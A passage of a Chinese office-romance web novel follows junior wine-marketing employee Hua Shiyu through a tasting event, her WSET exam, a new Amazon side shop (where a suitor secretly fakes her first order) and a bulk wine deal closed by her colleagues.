还好她学了wset课程,懂得怎么品酒,不然她持杯的手都会怯得发颤。
15. 鲜亮
为了不使自己在言行举止上过于露怯,花诗雨学着盛仰的动作来用餐和敬酒,学习他如何与人言谈。
Grace笑问盛仰:“你今天怎么吃个东西都这么正式?走流程啊?”
“你们搞得这么隆重,我肯定也要正式对待啊。”其实只有他自己知道他一步不落的缓慢动作,都是在示范给花诗雨看,免得她坐在这里不自在。
最后,屏幕上显示了本场的压轴酒,淡绿色的酒瓶,绿色碎花酒标,还有一个好听的名字“芳心暗许”。
听到这个名字,盛仰笑了,已经能预知他们的营销策略了。
侍酒师过来,依次给他们倒上酒,盛仰喝了一小口,薄荷青柠味。
Grace问道:“是不是有暗恋的青涩味道?”
“你们是要搞什么噱头吗?”盛仰两根手指敲了下杯肚,“暗恋啊?”
“被你猜中了,”Grace向台上的Camille抬了下下巴,“我们市场部新人想出来的。”
盛仰笑而不语,卖个酒还搞个暗恋的噱头,他都觉得尴尬。
“我们这款酒本来就是针对年轻人市场的。”Grace反问:“你们呢?听说你们最近也有一款年轻白葡上新?”
“不能叫上新吧,在欧洲已经卖过一轮了,来这收个尾。”
“哦,下年呢?”Grace试探地问,“有什么新品吗?”
盛仰用开玩笑的口吻回她:“要不你跳槽回来,不就知道我们的商业机密了?”
Grace也笑,转移话题:“回头一起去打球。”
“好的。”
品酒会接近尾声,众人相互交流,盛仰也避免不了的应酬。他知道今晚的花诗雨无所适从,便让她到露台透透气。
花诗雨举着杯香槟站在十楼的露台,吹着晚风,俯瞰夜晚的外滩——黄浦江在夜晚里如墨色绸缎,两岸霓虹如碎金,万国建筑在金色灯光下璀璨辉煌。
电视剧里的十里洋场真实呈现在自己眼前了。
而自己,其实是底下被人推挤过马路的人潮中的一员。
“你好。”一个浑厚的男人声音从她后方传来。
花诗雨转身,这男人和他声音一般圆润粗壮,皮带都快勒不住他的肚腩。
“我刚坐你对面,”他递过来一张名片,“这是我名片。”
“您好。”花诗雨以为是有合作的机会,笑着接过名片,名片上显示他是某连锁酒店的总经理刘毅,便又喊了声:“刘总好。”
“我注意你很久了。”刘毅过来与花诗雨并排站一起,“刚毕业吗?”
“是的。”
“怪不得这么水嫩呢。”刘毅偏头看着花诗雨,眼神里带着某种凝视,“有男朋友吧?”
他的话语和眼神已经让花诗雨感觉不适了,她下意识地往旁边挪了点,轻轻晃动手中的香槟,回避他的眼神。
“花诗雨。”
盛仰的叫喊来得太及时,花诗雨与刘毅礼貌道了个别就跟着盛仰走了。
电梯只有他们两个,盛仰手伸向花诗雨:“那男的给了你什么?”
“名片。”花诗雨把名片放他手上,“我以为会有合作的机会。”
“跟那种人合作个毛啊!”盛仰看都没看那名片一眼,三两下就撕掉了,“我们做生意也是有原则的,大可不必为了点蝇头小利而恶心自己。”
电梯门开,盛仰随手把碎名片往门口的垃圾桶里一扔,再大步往出口走去。
出来到门外,盛仰往侧边墙前站着,光线昏暗也掩盖不住他的英挺。
花诗雨不知他为何站在这,老板的心思猜不透,她也不敢问,只能站在一旁等他发话。
“Hello!”Camille忽然从里面出来,漂亮裙子外面披了件某品牌的披肩,主动与盛仰打招呼,“您好,请问是CR盛总吗?”
盛仰微笑点头:“嗯,盛仰。”
“我是Camille,目前在YD工作,您刚刚应该见过我。”
“嗯,今晚表现不错。”盛仰随口夸了下。
Camille从手提包里掏出手机,“加个微信可以吗?”
盛仰始终保持社交性微笑:“不了,等下Grace得误会我挖人了。”
“哪会,只是想和你交个朋友而已。”Camille说,“我姑姑的移民都是你们盛盈国际协助办理的。”
盛盈国际是盛仰家里的公司,专做海外移民和投资。他对这生意不感兴趣,就自己出来给别人打工了。
盛仰也不多说,从口袋里掏出自己的工作手机,点开微信二维码给Camille扫。
花诗雨手机突然响了,一个海外的来电,十有八九是诈骗电话,她给按掉了。
Camille这才注意到花诗雨,略倾斜的眼神打量着她,“这位是?”
花诗雨感觉十分不舒服,现在的她也还学不会去对付这种人,跟盛仰道了声别就先走了。
盛仰回Camille:“她我同事。抱歉,我也得回家了。”
说完,他也走了,没几步就越在花诗雨的前面:“他们接下来估计会在网上大力营销今晚的‘芳心暗许’,关注一下人家的营销模式。虽是竞品,但其实有一些值得我们学习的地方。”
“好的。”花诗雨跟上盛仰,与之并排走,问道:“我们公司是不是也经常举办这样的活动?”
“小型活动经常有,像今晚这样规模的一年也会有个两三次,或者更隆重,更正式一点的。”
“那像我们市场部不光要负责举办自己的活动,还要参加别人的活动,面对很多形形色色的人,对吗?”
“这不废话。”
花诗雨默然,她第一次怀疑自己不适合这份工作,她觉得自己根本应付不过来这么复杂的人和事,只适合埋头苦干。
盛仰听出她的自我怀疑,放缓脚步,说道:“关于你适不适合这份工作,我先不下定论,我只是想告诉你这事也就那么回事。今晚主持的Camille,她介绍酒时,有几处明显错误,他们请的侍酒师也不专业,几次都把酒液滴到盘子上......”
花诗雨今晚一心想事,根本没注意到盛仰说的这些,又或者说她没有经验,识别不出这些东西。
盛仰继续说:“在露台搭讪你的中年男的,不否认他事业有成或者有钱,但他却对你有肮脏想法,在这一方面他就是烂人。他们大多数也都是华丽外表下的普通人,甚至是很糟糕的人,不用觉得自己低人一等。”
花诗雨还是第一次听盛仰讲这些,稍自卑的心理得到了很大的宽慰,就像香槟气泡也会消散。
“谢谢。”花诗雨不知道应该说些什么,此刻也是真心感谢他的这些话。
走到车边,盛仰拿出手机叫代驾,刚想输入目的地,先问她:“在那没喝什么酒吧?”
据他观察,她没喝几口酒。
“就喝了两三口,人很清醒。”
“那好,住哪?”
“颂茳新城。”
“哦。”他便把原本想输入的徐绘改成了奢山,这两个地方都有他的房子,一个市区平层,一个郊区别墅,奢山离新城也就三四个地铁站。
花诗雨怕麻烦他,说道:“我直接坐地铁吧。”
盛仰想了下,他今晚确实有些累,并不想回较远的郊区别墅住,又想到这里离地铁站有点距离,而且这里没有直达新城的地铁,于是把目的地改为自己市区的家,“我回家会路过地铁站,把你放下,你自己搭九号线回去吧。”
花诗雨也想尽快回家,接受他的安排:“好的,谢谢。”
靠在车头等代驾的期间,盛仰又看了眼她的穿着,还是忍不住问出下午在车里就想问的问题:“你才21岁,为什么老是穿的这么素呢?”
他问的
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没错,她的确没什么亮色衣服,从头到脚都找不出色彩,而且以黑白灰为主。
“因为...”她小声地回:“因为怕引起别人注意,不想招来太多麻烦。”
花诗雨小学的时候,因为花溪村被拆,政府把村民安置到别的村里,花诗雨跟随外婆住进那个村子。没住上两天,村里有个八十几岁的老头子把一个痴呆少女骗到牛棚,施实了强/奸。
外婆觉得那个村子民风有问题,当即就搬走了。外婆也因此只给花诗雨穿深色衣服,免得引起坏人注意,久而久之,花诗雨也习惯了。
盛仰未知其中缘由,对她的“不想招来太多麻烦”的解释略感无语,“那你今天在一众华丽穿着的女生中还不是引起了那男的注意?”
“可能我脸上写着单纯好骗,他觉得能骗到我。”
“......”
“我...我不知道今天要跟您来这种场合。”
“就算知道,你能搞出什么花样来呢?”盛仰看了眼手机,代驾过来还需要些时间。
他双手插进裤兜,靠坐在车头,语气相对委婉地对身旁站着的她说:“我其实没有资格评价任何人的外貌和穿着,但你在我手底下干活,还是对外的市场部,什么场合穿什么衣服还是有必要的,不一定要名贵,但要得体,就好比今天的场合,你是不是也意识到自己的穿着不适合?那以后还会有很多不同的场合。我们不是搞科研或做技术的,我们是卖酒的,面向客户的,说得直白点就是形象要先于能力,当你有个体面的外表了,人家才有耐心去了解你的能力。这样说你能明白吗?”
花诗雨认真听着,点点头:“嗯嗯,明白,就好像我穿得太过学生化,他们会自动认为我没有实力,直接略过。”
“嗯,其实也不是说素色衣服不好,适合自己的都好看,只是我觉得你才21岁,本来生活就不容易,每天黑白灰,更显得丧。”盛仰有看到她在品酒会上对其她女性的观察,有注意到她偶尔闪过自卑的眼神,“可以让自己鲜亮一点,从衣着开始,这样显得有朝气,人也会变得更加自信,不是吗?”
花诗雨点点头,认同他说的每一句话。
看到代驾正朝着走来,盛仰站直身体,“花诗雨,你很...”
他想说“花诗雨,你很漂亮,自信一点”,可还是没说出口,他想到自己不是她的什么人,只是她的老板,不适合直接夸她好看。
“我怎么了?”花诗雨以为他要说她很笨、很轴之类的话。
“没什么。”盛仰绕向后座,“早点回去休息吧。”
“好的。”
盛仰进了后座,没关车门。花诗雨帮他关上车门,随后坐上了副驾驶。
“师傅,先去徐绘地铁站。”
交代完,盛仰便靠着椅背,阖眼休息。其实今晚他也没喝很多酒,且已清醒大半,现在想想自己刚才脑子肯定是醉了,干嘛向一个普通员工说这么多,她都不一定能过自己的考核,她也可能还没转正就自己先退缩了。何必对她啰嗦那么多,一点也不像自己的风格。
果然,喝醉了就话多。
花诗雨从后视镜里看着那张优越高傲的脸,其实自己的自卑与怯懦早就暴露在他眼底了,但他也只是委婉地提醒她可以鲜亮一点,不像某些人直接表现出来的不尊重。
无论如何,花诗雨都是感谢他的,及时把她从自我怀疑的内耗里拉了出来。
晚九点的徐绘地铁站,人来人往,行色匆匆。有刚下班的打工人,有穿着漂亮衣服去约会的情侣,有对这个城市好奇的游客,有穿奇装异服的coser,有不同肤色的外国人......
九号线抵达,进去满是站着的人,有人和自己的朋友调侃道:“九号线不愧是运奴专线啊,都这么晚了还这么多人。”
花诗雨听到“运奴专线”都笑了,都是坐运奴专线的人,谁也不比谁高贵,她也就释怀了。
16. 曼妙
Wset三级考试在周六,盲品考试开始之前,花诗雨在考场外遇到了Wendy。
Wendy问她:“美女,笔试考得如何?”
“还行。”其实花诗雨对于笔试很有信心,毕竟那两本教材都被她翻烂了,iPad里也做了几百页的笔记,“就是盲品我有点担心。”
“你上次缺堂,少品了八/九款酒,后来有补上吗?”
“没呢,”花诗雨问:“那天品的都是什么酒?”
“澳洲的富贵1号,智利的MIRA,美国的Zoooop...还有记不清了,反正都是新世界酒。”Wendy说,“你应该叫老师给你补上的啊。”
花诗雨回想了下盛仰上次带到公司的酒,跟Wendy说的都对上了,看来老板都不动声色地给她补上了。
出考场的那一刻,花诗雨也松了一口气,总算完成了一件难事,接下来就是弄亚马逊店铺的事情。
花诗雨和马杨约好了今天在咖啡馆见面。本来马杨是打算邀她到自己公司的,但她总觉得不妥,只想约在公共场所。
咖啡馆里,马杨坐在角落的位置,外套搁旁边的座位上,身上穿着件黑色高领羊毛衫,对着电脑专心工作。
直到花诗雨走近,马杨才听到动静,立马起身邀请花诗雨坐下,然后叫了服务员过来。
花诗雨随便点了杯不带咖啡的饮料,从包里取出自己事先准备好的欠条,双手推到马杨手边:“学长,我准备了欠条。”
马杨把欠条撕成了两半并扔到一旁:“搞这些就太客气了,我真要追债,有那个转账记录不就可以了。”
“好吧。”
“你要不坐这边?”马杨把身旁座位上的衣服拎起搭在自己的椅背上,“我给你讲讲怎么上架商品以及后续操作。”
在此之前,花诗雨提交的资料都已经通过,店铺已经开了起来,购置的几千件商品也都已经运到了海外前置仓。
花诗雨走过去,把椅子往边上挪了点,尽量与之不挨着。
马杨注意到了她挪椅子的动作,没说什么,把电脑移到他们中间,开始讲解。
两个小时下来,大致流程都已讲清,马杨就让花诗雨自己熟悉一遍,他则借口到外面打电话。
就在马杨接电话期间,有买家上线询问,花诗雨很兴奋,积极回复。没一会,那位顾客就下单了。
花诗雨更是激动,一个劲地向马杨招手,她太想把第一单的喜悦分享给学长。
马杨在外面隔着玻璃望着她手舞足蹈的样子,跟着笑了,随后在微信上回复海外刷单人的消息:【谢谢,之后还会需要你的帮助,本次刷单从上次转你的费用里扣。】
马杨进来,花诗雨就兴奋分享:“学长学长,刚有位美国的顾客下单了耶!”
“我就说不难吧,以后会有更多顾客的,加油干吧!”
花诗雨狂点头,刚上架就有人下单,使她对自己的店铺很有信心,“学长,我今晚请你吃饭。”
“我请你吧,等你店铺利润过万的时候再请我吧。”
“那好吧,谢谢学长。”
之前,花诗雨对马杨还有防备心理。这会,基本信任了。
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周一上班,花诗雨像往常一样,下了地铁,先在地铁出口的生煎店帮Emily买生煎,再去公司大厦后面的手工咖啡店帮奚涧买咖啡,今天Bruce会来,顺便帮Bruce买一杯。
尽管她去了好几个地方买东西,她也是第一个抵达公司,第一件事就是拿两瓶水整齐放在盛仰的桌上。
做好了别人的事情,她才端端正正坐在工位上开电脑工作。
盛仰第二个来到公司,路过花诗雨,她又是灰色卫衣加烟灰色牛仔裤,看来上次给她的建议她是一点都没听进去,以为她会改变一下,没想到还是黑白灰,实在忍不住问她:“财务没给你发工资吗?”
“啊...发了啊。”花诗雨有点不明所以,怎么可能没发,CR发工资可准时了,每月最后一天发当月的工资,遇到月底放假就提前发,从不拖到下个月。
“那你...”算了,他不问了,走了,管不着,只要出去谈合作和参加活动时不是这穿着就行。
花诗雨低头看了看自己这身衣服,有点猜到他为何那么问了。她不是不想要改变,那天晚上回去她就去网上看了衣服,奈何钱包瘪眼光高,看中的都挺贵,买便宜但不喜欢的话就更浪费钱,所以她一件也没买,等手头稍充裕的时候再说。
每月房租和生活费就已经占了工资的三分之二,剩下的三分之一她都用来还助学贷款。她的计划是先把助学贷款还了,再还盛仰的,然后还学长的,最后还花怡的。
Emily和Bruce聊着天进来。
Bruce问:“周末你看了《微光》吗?”
《微光》是一个讲暗恋故事的小成本电影,突然就大火起来了。
“看了,《微光》又押对宝了,电影里那个最火的片段,女主喝的就是《微光》的那款叫芳心暗许的酒。”Emily说,“很多文青跟风买那酒喝。”
“对啊,我回家电梯里都是这芳心暗许的广告。”
“他们真的太会营销了,一天到晚讲煽情故事。”Emily手一摆,然后蹦蹦跳跳向工位跑去,“罢了,诗诗排队给我买了生煎包,吃生煎包先。”
Bruce也跟着去了,主要是去花诗雨那里拿自己的咖啡。咖啡到手,他都不问价格,直接转了50元给花诗雨。
花诗雨退回:“多了,你这一杯才28元。”
“剩下的是给你的跑腿费。”
花诗雨坚持道:“不行的Bruce,是多少给多少,不然下次我都不好意思帮你买了。”
“行吧。”小姑娘太有原则了,Bruce也不争了,收了退回的50元,再转去28元,“回头请你吃饭。”
“诗诗,你干嘛跟他客气,你去给他排队买咖啡也是要花时间的好嘛。”Emily边吃生煎包边说话,吃得嘴角油亮油亮的。
花诗雨递了张纸给Emily擦嘴,“没事,顺路的事儿。”
Bruce看了看一身牛油果绿的Emily,再看了看一身灰的花诗雨,“你俩应该互换一下。一个都快三十了还天天穿得五颜六色,整天乐呵呵的;另一个吧,才二十出头,却不怎么穿亮色衣服,很爱照顾身边人。”
Emily:“你懂什么,人生不过三万天,怎么开心怎么来,我到七老八十了也要穿自己最喜欢的颜色。”
Bruce不禁竖起大拇指:“你这心态,我佩服!”
Emily二十八了,可见过她的人都觉得她才二十三四岁。
盛仰出来准备去茶水间,路过他们时,冷冰冰留下一句:“十点半,市场部和销售部,开会。”
Bruce耸肩:“老板受打击咯。”
Emily:“八成是的,都悠着点。”
十点半,会议室。
盛仰坐主位,奚涧和Bruce带着自己部门的人各坐一排,市场部除了奚涧都是女性,销售部均为男性,因涉及喝酒应酬,所以Bruce尽量不招女孩子。
盛仰分别看了奚涧和Bruce一眼:“市场部和销售部必须掌握商务礼仪、餐桌礼仪以及侍酒文化,下个月开始要考核。这些东西不一定要使用,但是一定要会。”
CR每季度都有这些礼仪的培训,但不列入考核。
花诗雨尴尬得低下头去,自动带入这举措是因为她而新规定的。
奚涧和Bruce都点点头,听从安排。
“Bruce,你们跟楼下悦享的合作谈得怎么样?”盛仰一边写邮件一边问。
“一直有在跟他们采购经理沟通,聊了一种方案,就是把我们的酒放到他们的春节福利卡中,一张福利卡里有十二种物品选择,若是顾客选了我们的葡萄酒,就由我们直接发货。”Bruce说,“他们提出的要求还挺狠的,要求先发货后付款,并且价格只给到160元一瓶。”
醇白葡萄酒市场价是220元一瓶,各种成本加起来大概80元一瓶。这样看来,基本没赚头,还要支付运费。
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盛仰却说:“160就160,前提是先采购一万瓶。这样他们才会有压力,才会把我们酒捆绑销售,而不是作为十二种里面的其中一种选择。”
Bruce:“感觉悬,毕竟是首次合作,会有顾忌。”
“我现在发你一封邮件,关于盛盈国际的介绍,他们总部行政经理的联系方式也附在了后面。你把盛盈国际介绍给悦享,跟他们说盛盈国际在北上广都设有办公室,几百名员工,一年的员工福利和送礼需求都达大几十万。”盛仰指尖对着Enter键重重一按,邮件发出,然后抬头对Bruce说:“反正仓库里积压的一万多瓶醇白年前必须处理掉,留在那既碍眼又占储存,年后新品又要来。”
Bruce:“OK,我试试,下午我直接去找他们老板。”
盛仰再看向奚涧,带着玩笑语气问道:“咋回事啊,奚涧?忙活了几个月,一点效果都没有。”
“这...”奚涧有苦难言。
倒是Emily在一旁嘀咕道:“这酒本就...”她也不直接道出醇白是一款平平无奇的酒。
盛仰:“那芳心暗许也没有多高级啊,不也是快消酒,但挡不住人家就是卖得热火朝天啊。”
Emily小声反驳:“他们铺天盖地的营销,我们预算也不足...哪比得过人家啊。”
“好了,自己走不好还怪路不平。”盛仰看着市场部的四人说,“也没有责怪你们的意思,只是想提醒你们今年七月有一款红葡萄酒要上新,集团想借助这款酒占领年轻女性市场,提高我们酒庄在中国的知名度,所以首发也选在中国。这是你们接下来最重要的事,现在就要布局起来。”
“好,没问题。”不管三七二十一,奚涧先打包票,“我会带领我的姑娘们冲出重围!”
盛仰对他的姑娘团队各瞅了一眼,Emily嘴角生煎包的汁水都没擦干净,花诗雨只会低头认真做会议记录,Sofía则整个人跟没睡好一样,无精打采。也不知道奚涧对她们哪来的自信。
奚涧看出盛仰脸上的无奈,维护起自己的姑娘团队:“放心吧,我们有吃瓜一线的Emily,年轻认真的花诗雨,具有海外视野的Sofía。都是怀揣梦想的女生,最了解当下年轻女孩子的需求了!”
反正从奚涧的嘴里很难听到否定的话,都是鼓励和夸赞。
“......”盛仰对此不想多说什么,转而把自己电脑里的新品相关PPT投到对面屏幕上,首张是三个不同形状和颜色的空瓶子,一个是玲珑曲线的浅绿色酒瓶,一个是矮胖体的淡粉色酒瓶,一个是正常形状的透明色酒瓶,“酒瓶设计了三个,还没定哪个,你们可以发表看法。”
“哇哦~我喜欢粉色的那个。”Emily第一个发表看法,她对粉色毫无抵抗力。
Sofía指了那个浅绿色的,“我喜欢这个,它的瓶身就像曼妙少女的身材,十分有创意。”
Bruce和他部门的人都选了那个透明色的,唯独花诗雨一直在观察,但没有发表意见。
接着盛仰又放了第二张幻灯片,是八个不同设计的酒标,“酒标设计了八个,也还未定哪个,以及酒名,如果有什么想法都可以提出来。”
随后他又放了此款酒的介绍,包含葡萄的生长环境、酿造工艺、酒精度等。
最后他交代奚涧说:“三件事。第一,关于酒瓶、酒标以及名字,先去做个市场调研,三月份之前给出选择方案;第二,现在开始关注影视综艺等网络平台,看看有没有合适的投放平台;第三,想出一个营销主题,这个最重要。”
奚涧立马就交代底下的人:“老板说的第一件事,花诗雨主要负责;第二件事,Emily带着Sofía做;第三件,大家集思广益,一人提出十个想法。”
三姑娘同时点头,老大的话她们都听。
“散会!”盛仰起身,合上电脑,“Bruce,年前务必拿下和楼下的合作,不然你们的年终奖就...”
又拿年终奖威胁,Bruce只能认了,“OK,下午就去堵他们!”
17. 担心
午饭后,Bruce到茶水间酒柜挑酒,想带两瓶酒去拜访楼下悦享的老板和采购经理王美菊。
恰好花诗雨她们三人在茶水间吃点心,Emily说:“才带两瓶哪够,多带几瓶,让他们尝尝我们的酒,以后好合作。”
Bruce挑好两瓶酒,想起王美菊在朋友圈里为女儿寻找母语为西语的西语老师,便打起了Sofía的想法,“Sofía,可以一起下去吗?悦享采购经理在给她女儿找西语老师,我觉得你可以。”
Sofía本就在小语种培训机构兼职做西语老师,她对此表示没问题,并拉上了花诗雨和Emily。
几个人各提了几瓶酒下楼,刚好碰到王美菊从外面吃饭回来。Bruce拉着Sofía介绍说:“王经理,我同事,Sofía,来自委内瑞拉的大美女,在SWTS兼职做西语外教,您不是正愁找不到西语老师嘛!”
“我在SWTS教师照片墙上看到过你耶!”王美菊可激动了,她去SWTS咨询过外教课程,被价格劝退,这下老师送上门了,“上门家教可以吗?”
Sofía肯定点头:“没问题!”
“那...价格呢?”王美菊最关心价格。
Sofía想了下说:“我一般收费是120元一小时,可以给到您80元一小时。”
王美菊很满意这个价格,但也知道这是有前提条件的,于是对Bruce说:“跟我来吧,我带你去找我老板,最终决定还是要看我老板的。”
Bruce跟着王美菊进了悦享老板办公室,花诗雨她们则把自己的酒给到悦享的行政,还被留在那里聊天。
Bruce才进去二十分钟,就从办公室传来悦享老板的哈哈大笑声。
大约五分钟,Bruce就出来了,打了个五分钟的电话又满意地进去了。
Sofía猜测问道:“谈成了?”
Emily:“应该是,他们和我们合作,老板就会把盛盈国际的生意介绍给他,不管眼下还是长远来看,悦享都不会亏。”
“盛盈国际跟老板什么关系呀?”这问题花诗雨一直想问。
Emily介绍道:“他家里的公司呀,做移民和海外投资的,可赚钱了,不然凭他那几百万的年薪哪买得起独栋别墅和市区大平层啊。”
Sofía问:“老板为什么不在自己家公司干呢?因为他喜欢葡萄酒吗?”
“别看他家里做移民生意的,高中就去国外读书了,但他内心红得很,坚决不换护照,只拿别国永居,只爱中国,最爱上海,所以他才不干那吹嘘国外的生意!”Emily明明说的是自己。
花诗雨很想笑,Emily嘴里的老板就像是个中二的爱国青年,可能老板自己都不知道自己是这样的。
没一会,Bruce手里拿着两份文件走来,脸上的喜悦难以掩饰,手一挥:“走,找老板去!”
“什么什么?”Emily一把接过Bruce的文件,翻开瞧了瞧,“速度这么快啊?合同都做好了呀,还提价了啊,160元一瓶,购一万瓶?!”
“这...这...就成了??”花诗雨难以置信地问道。
“还没成,大差不差了,谁叫我们老板爽快呀,我电话一打,他马上就代表盛盈国际转了10万定金给悦享。”Bruce推了推她们,“走走走,楼上找老板谈条件去。”
几个人又吭哧吭哧上楼了,路过茶水间,盛仰和奚涧刚好坐吧台里面聊天,两人眼睛一直望着外面,像是在等Bruce他们的凯旋。
Bruce把合同揣屁股后面,大步走进去说:“老板,如果今天下午我们就把一万瓶的合同签下来,你是不是可以满足我们几个条件。”
盛仰“嗯”了声,随即招了招手:“你先把合同拿过来看下。”
老板一向说话算话,Bruce便把合同递给了他:“按照他们标准采购合同的模板改的,我看是没问题。”
盛仰看了几眼,随后嘴角泛起微笑:“可以,但是支付这条条款改一下,签合同起一周之内支付20%的定金。”
“好,我这就跟他们说。”说完,Bruce就出去打电话了。
盛仰把合同转交给Emily:“帮忙把合同给Lucy她们仔细把关一下,让她们现在就审核。”
“好的!”Emily接过合同,带着花诗雨和Sofía一起走了。
Lucy部门审核完,条款基本没什么问题,改了几点细节问题。Bruce带着改动的合同下楼找悦享老板沟通去了。
一个半小时后,Bruce带着改好的新合同回来,快速路过花诗雨那,又停下,问她们:“你们帮了这么大忙,有什么要求赶紧说,我给你们向老板提。”
Emily拍了拍花诗雨的肩膀:“Sofía都转正了,我们诗诗也要转正。”
Sofía先考试,Wset二级成绩一出来就转正了。花诗雨后考试,又碰上英国那边放圣诞假,成绩估计得年后出。
Sofía也附和:“是的,不能只有我一个人转正。”
奚涧一脸无奈,花诗雨都来了大半年了,每天兢兢业业,是公司里最认真、最守规矩的员工,他早就向盛仰申请给花诗雨转正,可老板就是不松口,“你去问问老板,看他给不给你面子吧。”
Bruce进到仰办公室,把一式两份的合同放他面前:“搞定了!”
“辛苦。”盛仰翻开合同看了两眼,他和Lucy要求改的条款都改了,对方也盖了红章,尘埃落定了,“这样吧,提前让你回东北老家过年。”
“不稀罕!”Bruce可不买账,“我只有一个请求,马上给花诗雨转正。”
盛仰一口否决:“不行!”
“你...”Bruce觉得有点过分了,“你看谁的试用期能有她久?都超过半年了。你还非要求人家考三级才能转正,你对人家小姑娘是不是太苛刻了点?”
“她可以走啊,”盛仰无动于衷,“没人拦着她,我可以自掏腰包把那一万块报名费报销给她。”
“没点人情味!”
Bruce转身走,想让她们换个条件,刚打开办公室门要出去,盛仰就叫住他:“其它要求满足不了,春节假期在原本十五天的基础上再增加三天吧。”
正常春节假期是七天,但CR每年都是放到年十六,现如今又多增三天,这消息还被办公室外面的人听到了,都欢呼。
Emily感觉还是太少了,跑过来问:“老板,我们都超额完成业绩了,今年也不开年会,就不能多放几天嘛?”
“我哪有那么大的权利啊?”盛仰想说他自己都是给老外打工的。
“可以向总部申请的呀。”
盛仰望着外边那些朝这望来的员工,员工们的期盼目光他都收到了,他也希望满足他们,可考虑到公司运营,便说:“当前这个节骨眼并不适合集体休假近一月,总部也不会同意。”
Emily失望叹气,其他人的期待目光也逐渐下落。
接着,盛仰来了一个转折:“但是......”
Emily眼睛重新亮了起来:“但是什么?”
盛仰走到门口,一掌重重落在Bruce肩上:“你要是下午就能让悦享付定金过来,那么全体员工从明天开始居家办公到除夕,然后放假到正月二十。”
今天离除夕还有一周,意味着大家可以提前一周准备过年了,大家期待的目光都转移到Bruce身上了。
Bruce:“......”
老板果然奸诈,擅长压力转移,累死我算了。
Emily推推Bruce:“布鲁斯大哥,靠你了,成了我请你到阿肥那大吃特吃!”
奚涧:“去吧,父老乡亲都等着你呢!”
Bruce只能去了,背负着同事们的万千期盼。
半个小时后,Bruce回来直奔盛仰办公室,众人齐刷刷看向他们。
盛仰笑问:“如何?”
“等着!”Bruce点开与王美菊的微信对话框,等着对方发付款回单过来,“你是不知道,他们出纳今天不在,要明天付,我硬是拖着他们财务经理下午给我们打款。”
Bruce没收到王美菊发过来的回单,倒是财务走过来,激动地说:“收到悦享的三十万定金了!”
全体沸腾:
“耶!”
“感谢Bruce!”
“感谢老板!”
“感谢上帝!”
随后,各部门内部开小会,再收拾收拾东西提前下班。
Emily兑现承诺,领着Bruce和自己部门的俩姑娘一起到大厦旁边的阿肥便利店买东西吃。
四人刚到店门口,就听到里面传来悠扬纯净的佛教音乐,音乐里还夹着有节奏的敲木鱼声。
“肥哥,今天怎么放起这音乐了?”Emily率先进入便利店,一来就挑了个泡面桶那般大的纸杯,然后把喜欢的水煮都往里装。
“这音乐清净啊。”阿肥转身向后给Bruce拿烟,“Bruce,今天还是那个烟吗?”
Bruce:“是的,今天爱美丽买单。”
“是嘀,我买单!”Emily催花诗雨和Sofía,“你俩快选呀。”
花诗雨就跟着Emily一起选水煮,Sofía则慢悠悠走去冷藏柜拿酸奶,边走边回头望向前台那发出音乐的小音响。
结完账,几个人站便利店旁边的台阶上边吃边聊天。Sofía喝着酸奶不时靠近便利店,问他们:“我想问阿肥放的音乐叫什么?我想要下载下来每天听,我从没听过如此美妙的音乐。”
其余三人皱了皱眉,有些不理解。
Bruce:“你是外国人吗?”
Emily:“我印象里只有到了我爷奶那年纪才会喜欢听。”
花诗雨:“这是寺庙里常放的音乐。”
“你们不觉得它会使我们的内心...”Sofía手至上往下轻抚胸口,“我不知道如何描述。”
花诗雨秒懂:“使你的内心更加平静?”
“是的是的,”Sofía点点头,“这到底什么音乐呀?我真的太喜欢了。”
这什么音乐?
关键这三人也只听过,从未关注过它的名字。
不过三人都掏出手机帮Sofía搜这首歌,可打不出歌词,搜了一圈都没搜出正确的。
“大悲咒。”盛仰突然出现,经过他们,去了别处。
Bruce:“老板,你连这都知道啊?”
Emily:“那人家怎么会是老板呢,见识就是比我们多。”
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花诗雨可不敢像Bruce和Emily一样打趣老板,默默把大悲咒这首曲子分享给Sofía:“Sofía,我找到了,分享到你微信了。”
Sofía:“谢谢。”
几人吃完东西就回去收拾东西下班了。
刚过下班点,同事差不多都走空了,只有花诗雨一个人坐在电脑前为自己的亚马逊店铺忙碌,一天下来积累不少订单且需要马上处理,使得她无暇顾及窗外黄昏美景,也没有归家的心切,只怕时间不够用。
盛仰刚好从外面回来,办公室很静,静到只有敲键盘的声音,这声音还是从市场部那边传来的。市场部那几个人,除了花诗雨,个个都是早溜达人。
果然,花诗雨穿着她那学生化的米色袄子在那忙活,电脑还是她个人的,公司配的电脑被她搁到一边。
不过这是下班时间,他管不了。
脚步声逐渐靠近,花诗雨慌里慌张地盖上了电脑,脸瞬间红温,微微侧抬起头,眼神却不敢直视来人,支支吾吾道:“老...老板,我...我没磳公司空调。”
下班点的时候,花诗雨就把空调关了,也是不想干自己的事情时占公司便宜。
“会冷就把空调开起来啊。”这姑娘还真是老实巴交的,但是现在开也没什么意思了,中央空调一下热不起来,盛仰便说:“天都快黑了,早点回家吧。”
“好的。”花诗雨很听话,开始收拾东西下班。
盛仰走进自己办公室,一边收拾东西一边回想刚不小心瞥到的花诗雨的电脑页面,没看错的话应该是亚马逊店铺。也不知道她又在搞什么名堂,想起她的悲惨身世,竟有点担心这小地方来的笨乌龟会不会被人骗。
于是,他快速收拾东西,赶在花诗雨走之前走出办公室,问道:“你刚在干吗?”
他这突然的发问,花诗雨有点慌,站起来解释说:“我没有在上班时间做副业,一点都没有。”脑子一乱,什么都招了。
“所以你真的在搞副业?”盛仰问,“跨境电商?”
搞副业这事,花诗雨没跟任何人说过,但是自己在公司做点什么事,有什么心思总能被盛仰发觉,她骗不过他,只能承认:“是的,但是我都是利用闲暇时间做,完成本职工作再做副业的。”
“我又没说你什么,你这么紧张干吗?奚涧不也在搞副业养娃,只要不影响工作就行,再说你能不能转正都是个问题。”盛仰提着电脑包往前走,不经意问道:“以前做过亚马逊吗?”
花诗雨肩上背着公司电脑,手里抱着自己电脑,空出几根手指勾着饭袋,快速跟上,“没做过,刚做不到两月,是上次我做翻译的老板带我做的,是我老乡,也是我学长。”
“他对你有意思吧。”盛仰直接点破。
“其实...有点...”花诗雨不傻,一个男人突然对自己这么好,肯定是有所图的,“可我不想错过赚钱的机会,所以我也挺纠结的。”
“你对他呢?”
“有亲切感,但达不到喜欢,所以才纠结,感觉在利用人家。”
盛仰笑了声,“那怎么办?忍着以身相许?”
“......”
盛仰先出了办公室,“道德感太强的人赚不到什么钱。”
花诗雨跟在后面关灯关门,“我跟他约定好了,店铺收益的百分之二十给他。”
“约定?”盛仰按了电梯向下键,“怎么约定?”
